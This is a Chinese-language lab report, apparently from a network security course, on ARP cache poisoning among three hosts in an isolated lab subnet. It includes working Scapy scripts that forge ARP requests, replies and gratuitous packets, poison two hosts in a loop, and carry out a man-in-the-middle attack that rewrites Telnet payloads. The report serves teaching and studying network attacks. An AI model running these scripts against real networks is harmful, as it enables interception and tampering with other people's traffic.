如图所示,局域网内三台主机。
目标:伪造ARP数据包造成目标主机ARP缓存被修改
Task 1.A ARP request
查看Host A的ARP缓存
Address HWtype HWaddress Flags Mask Iface
10.9.0.6 ether 02:42:0a:09:00:06 C eth0
伪造ARP request,ARP报头源IP指定为10.9.0.6,源MAC指定为Host M的MAC地址。
E=Ether()
A=ARP(psrc='10.9.0.6',hwsrc='02:42:0a:09:00:69',pdst='10.9.0.5')
A.op=1
pkt=E/A
while True:
sendp(pkt)
time.sleep(2)
查看Host A的ARP缓存
Address HWtype HWaddress Flags Mask Iface
10.9.0.6 ether 02:42:0a:09:00:69 C eth0
10.9.0.105 ether 02:42:0a:09:00:69 C eth0
发现Host A中Host B的ARP缓存成功被修改。
Task 1.B ARP reply
只需将Task1.A中ARP数据包的op位置2,即表示ARP reply。
实验发现只有在目标主机缓存中存在源IP-MAC地址映射对时,ARP reply攻击才能奏效。
ARP gratuitous packet is a special ARP request packet. It is used when a host machine needs to update outdated information on all the other machine’s ARP cacheThe gratuitous ARP packet has the following characteristics:– The source and destination IP addresses are the same, and they are the IP address of the host issuing the gratuitous ARP.– The destination MAC addresses in both ARP header and Ethernet header are the broadcast MAC address (ff:ff:ff:ff:ff:ff ).– No reply is expected.
E=Ether(dst='ff:ff:ff:ff:ff:ff')
A=ARP(psrc='10.9.0.6',hwsrc='02:42:0a:09:00:69',pdst='10.9.0.6',
hwdst='ff:ff:ff:ff:ff:ff')
实验结果与Task1.B相同
实施中间人攻击,A和B在通信,M设法使A和B向对方发出的数据包都转发到M,M对数据做修改后再发给通信的另一方。
Step 1 (Launch the ARP cache poisoning attack)
在攻击机中运行攻击脚本。每隔两秒就像Host A和Host B发送毒化ARP request。将通信对方的ARP缓存映射为攻击机的MAC地址。
def sendARP():
E=Ether()
ARP2A=ARP(psrc='10.9.0.6',hwsrc='02:42:0a:09:00:69',pdst='10.9.0.5', op=1)
pkt=E/ARP2A
sendp(pkt)
ARP2B=ARP(psrc='10.9.0.5',hwsrc='02:42:0a:09:00:69',pdst='10.9.0.6', op=1)
pkt=E/ARP2B
sendp(pkt)
while True:
sendARP()
time.sleep(2)
关闭攻击机M的IP forwarding。尝试在Host B中ping Host A。发现大部分ICMP echo request得不到响应,少数响应的ICMP echo reply中的以太首部源MAC为Host A本来的MAC地址。取消攻击机发送欺骗数据包的时间间隔,发现所有ICMP echo request都得不到响应。
Host B可以ping通Host A,但提示已经重定向Host。
Wireshark抓包发现存在ICMP redirect报文。
Step 4 (Launch the MITM attack)
在Telnet中实施中间人攻击,用全z填充从Host A发往Host B的TCP数据段,从Host B发往Host A的TCP数据包则不做修改。脚本如下:
#!/usr/bin/env python3
from scapy.all import *
IP_A = "10.9.0.5"
MAC_A = "02:42:0a:09:00:05"
IP_B = "10.9.0.6"
MAC_B = "02:42:0a:09:00:06"
def spoof_pkt(pkt):
if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
################################################################
#处理从Host A发往Host B的数据包。
#新建IP报文,初始化内容从原始报文中拷贝。删除IP校验和,TCP的数据段和校验和。
newpkt = IP(bytes(pkt[IP]))
del(newpkt.chksum)
del(newpkt[TCP].payload)
del(newpkt[TCP].chksum)
#################################################################
#若TCP有数据段,新建等长全z数据段,和新的报文头部发出。
if pkt[TCP].payload:
data = pkt[TCP].payload.load # The original payload data
newdata = 'z'*len(data) # No change is made in this sample code
send(newpkt/newdata)
else:
send(newpkt)
elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
# 对从Host B发往Host A的报文的不做修改。
# 从网络层转发报文,间接修改了MAC地址,正确将报文转发到Host A。
newpkt = IP(bytes(pkt[IP]))
del(newpkt.chksum)
del(newpkt[TCP].chksum)
send(newpkt)
f = "tcp"
pkt = sniff(iface="eth0", filter=f, prn=spoof_pkt)
同时在攻击机M上运行攻击脚本。先打开流量转发程序,使Host A和Host B之间的telnet连接建立。 结果发现,不论是从Host A中键入消息、还是从Host B中键入消息,屏幕上只出现z。
因为在telnet中,发送到服务器的字符将被服务器响应,然后客户端将在其窗口中显示该字符。因此,我们在客户端窗口中看到的并不是输入的直接结果,而是服务器收到消息后的回显。
Host A(客户机)的输入:
Host B(服务器)的回显:
Host A向Host B发送的数据包被中间人修改、Host B向HostA发送的数据包未被修改。